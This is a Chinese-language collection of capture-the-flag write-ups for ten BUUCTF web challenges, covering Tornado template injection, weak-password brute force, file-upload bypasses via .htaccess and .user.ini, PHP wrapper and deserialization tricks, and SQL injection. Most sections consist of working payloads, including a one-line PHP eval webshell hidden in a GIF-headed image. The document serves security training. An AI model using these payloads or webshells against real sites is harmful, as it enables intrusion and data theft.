BUUCTF
文章目录
一、[护网杯 2018]easy_tornado
三个文件
两个参数
filename和filehash
hash应该对应的是md5的hash加密
根据提示构造payload:
/file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(filename))
接下来需要找到cookie_secret
知识点:
扩展:SSTI注入
SSTI就是服务器端模板注入(Server-Side Template Injection),也给出了一个注入的概念。
服务端模板:相当于很多公式,根据变量输出结果。这里的模板就是模板引擎根据数据自动生成前端页面。
常见的注入有:SQL 注入,XSS 注入,XPATH 注入,XML
注入,代码注入,命令注入等等。sql注入已经出世很多年了,对于sql注入的概念和原理很多人应该是相当清楚了,SSTI也是注入类的漏洞,其成因其实是可以类比于sql注入的。
sql注入是从用户获得一个输入,然后又后端脚本语言进行数据库查询,所以可以利用输入来拼接我们想要的sql语句,当然现在的sql注入防范做得已经很好了,然而随之而来的是更多的漏洞。
SSTI也是获取了一个输入,然后在后端的渲染处理上进行了语句的拼接,然后执行。错误的执行了用户输入。类比于 sql
注入。当然还是和sql注入有所不同的,SSTI利用的是现在的网站模板引擎(下面会提到),主要针对python、php、java的一些网站处理框架,比如Python的jinja2
mako tornado django,php的smarty twig,java的jade
velocity。当这些框架对运用渲染函数生成html的时候会出现SSTI的问题
当注入长度大于2用双花括号
模板注入必须通过传输型如{{xxx}}的执行命令。探测方式很简单,给一个参数赋值{{22*22}}返回484则必然存在模板注入。
但是当我们输入error?msg={{1}}就可以得到回显,说明此处是存在SSTI注入漏洞的
2乘2试试
存在注入点
Tornado框架的附属文件handler.settings中存在cookie_secret
构造payload:
/error?msg={{handler.settings}}
拿到cookie_secret
对/fllllllllllllag进行MD5加密为: 3bf9f6cf685a6dd8defadabfb41a03a1
md5(cookie_secret+md5(filename)为:d73f1dbf487a26a7a63cbf1a4cc37716
构造payload
/file?filename=/fllllllllllllag&filehash=d73f1dbf487a26a7a63cbf1a4cc37716
二、[HCTF 2018]admin
登录界面使用bp抓个包爆破一下
弱密码爆破
admin123
三、[MRCTF2020]你传你🐎呢
上传一句话木马不行上传图片可以
先上传一个.htaccess
将png图片解析为PHP文件
AddType application/x-httpd-php .png
抓包修改为Content-Type: image/png
上传木马图片
GIF89a
<script language="php">eval($_POST['shell']);</script>
蚁剑链接
根目录下找到flag
四、[ZJCTF 2019]NiZhuanSiWei
/?text=data://text/plain,welcome to the zjctf
得到回显说明成功绕过
if(preg_match("/flag/",$file)){ //正则匹配file中不能有flag
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
php伪协议
?file=php://filter/convert.base64-encode/resource=useless.php
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
写个脚本输出反序列化
<?php
class Flag{ //flag.php
public $file='flag.php ';
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a=new Flag();
echo serialize($a);
?>
构造payload
/?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
五、[MRCTF2020]Ez_bypass
get传参数组绕过?gg[]=1&id[]=2
passwd=1234567a直接拿到flag
六、[SUCTF 2019]CheckIn
文件上传
首先上传一个.user.ini.文件
文件内容:
GIF89a //绕过文件头检查
auto_prepend_file=1.png//指定文件
成功
然后上传图片木马
木马内容:
GIF89a //绕过文件头检查
<script language="php">eval($_POST['shell']);</script>// 一个使用短标签执行php语句的木马
上传成功
使用蚁剑链接根目录下拿到flag
七、[网鼎杯 2020 青龙组]AreUSerialz
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
1、首先看到类中数据类型为保护类型这里有两种方式定义
①使用public定义数据
②使用private定义但我们需要注意在数据前加上/00/00
2、然后审计process函数我们需要使op值为2并使filename=flag.php这样才能读取flag.php内容
这里我们需要绕过__destruct()魔法函数
if($this->op === “2”)
$this->op = “1”;
$this->content = “”;
$this->process();
这里的op=“2”是强比较类型并且这里的2属于字符型process()函数是op = "2"是弱比较类型那我们可以使2为整数型进行绕过
根据以上写出php代码
<?php
class FileHandler{
public $op=2;
public $filename='flag.php';
public $content='abcd';
}
$a=new FileHandler();
echo serialize($a);
?>
构造payload
/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:8:%22flag.php%22;s:7:%22content%22;s:4:%22abcd%22;}
查看源码拿到flag
八、[GXYCTF2019]BabySQli
使用万能密码进去之后
base32和base64解密
知道了注入为单引号闭合
这里利用了mysql自动构建虚拟数据返回的原理意思就是如果说你语句中查询的表单没有mysql会自动虚拟构建数据并反回
构造payload查回显位:
1' union select 1,2,3#&pw=123
回显没有错误
1' union select 1,2,3,4#
回显错误说明三列
它这个检索应该是先检索用户再检索密码
三列应该是ID username password
构造payload:
1' union select 1,'admin','1'#&pw=1
对密码进行MD5加密
payload:
1' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#&pw=1
九、[GXYCTF2019]BabyUpload
先上传一个木马文件
后缀不能有ph
试一下图片木马先上传一个.htaccess文件
抓包改一下后缀
.user.ini 大小写绕过
看看源码
<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />
<title>Upload</title>
<form action=\"\" method=\"post\" enctype=\"multipart/form-data\">
上传文件<input type=\"file\" name=\"uploaded\" />
<input type=\"submit\" name=\"submit\" value=\"上传\" />
</form>";
error_reporting(0);
if(!isset($_SESSION['user'])){
$_SESSION['user'] = md5((string)time() . (string)rand(100, 1000));
}
if(isset($_FILES['uploaded'])) {
$target_path = getcwd() . "/upload/" . md5($_SESSION['user']);
$t_path = $target_path . "/" . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name,'.') + 1);
$uploaded_size = $_FILES['uploaded']['size'];
$uploaded_tmp = $_FILES['uploaded']['tmp_name'];
if(preg_match("/ph/i", strtolower($uploaded_ext))){
die("后缀名不能有ph!");
}
else{
if ((($_FILES["uploaded"]["type"] == "
") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "image/pjpeg")) && ($_FILES["uploaded"]["size"] < 2048)){
$content = file_get_contents($uploaded_tmp);
if(preg_match("/\<\?/i", $content)){
die("诶,别蒙我啊,这标志明显还是php啊");
}
else{
mkdir(iconv("UTF-8", "GBK", $target_path), 0777, true);
move_uploaded_file($uploaded_tmp, $t_path);
echo "{$t_path} succesfully uploaded!";
}
}
else{
die("上传类型也太露骨了吧!");
}
}
}
?>
看到只允许image/jpeg或image/pjpeg上传
修改一下后缀
然后上传木马图片
剑蚁链接
根目录下找到flag
十、[GYCTF2020]Blacklist
1’;show tables;#查表
看大佬博客学的知识点
desc查看表结构的详细信息
desc table_name;
PS:此处desc是describe的缩写,用法: desc 表名/查询语句
desc降序排列数据
select ename,sal from emp order by sal desc;
手动指定按照薪水由大到小排序(降序关键字desc)
select ename,sal from emp order by sal asc;
手动指定按照薪水由小到大排序(升序关键字asc)
PS:此处desc是descend的缩写,用法select * from 表 order by 字段 desc
handler
写个实例吧感觉好理解一些
创建数据表
create table handler_table(
c1 int,
c2 varchar(10),
c3 int(10)
);
insert into handler_table values(2, 'name2', 002);
insert into handler_table values(5, 'name5', 005);
insert into handler_table values(1, 'name1', 001);
insert into handler_table values(4, 'name4', 004);
insert into handler_table values(3, 'name3', 003);
打开句柄
mysql> handler handler_table open;
查看数据
mysql> handler handler_table read first;
+------+-------+------+
| c1 | c2 | c3 |
+------+-------+------+
| 2 | name2 | 2 |
+------+-------+------+
mysql> handler handler_table read next;
+------+-------+------+
| c1 | c2 | c3 |
+------+-------+------+
| 5 | name5 | 5 |
+------+-------+------+
mysql> handler handler_table read next;
+------+-------+------+
| c1 | c2 | c3 |
+------+-------+------+
| 1 | name1 | 1 |
+------+-------+------+
mysql> handler handler_table read next;
+------+-------+------+
| c1 | c2 | c3 |
+------+-------+------+
| 4 | name4 | 4 |
+------+-------+------+
mysql> handler handler_table read next;
+------+-------+------+
| c1 | c2 | c3 |
+------+-------+------+
| 3 | name3 | 3 |
+------+-------+------+
mysql> handler handler_table read next;
Empty set (0.00 sec)
关闭句柄
mysql> handler handler_table close;
Query OK, 0 rows affected (0.00 sec)
这里的desc相当于select的作用了
构造payload查看FlagHere中内容:
1';desc FlagHere;
1';handler FlagHere open//打开表;handler FlagHere read first//查看表的第一列; handler FlagHere close;//关闭表
拿到flag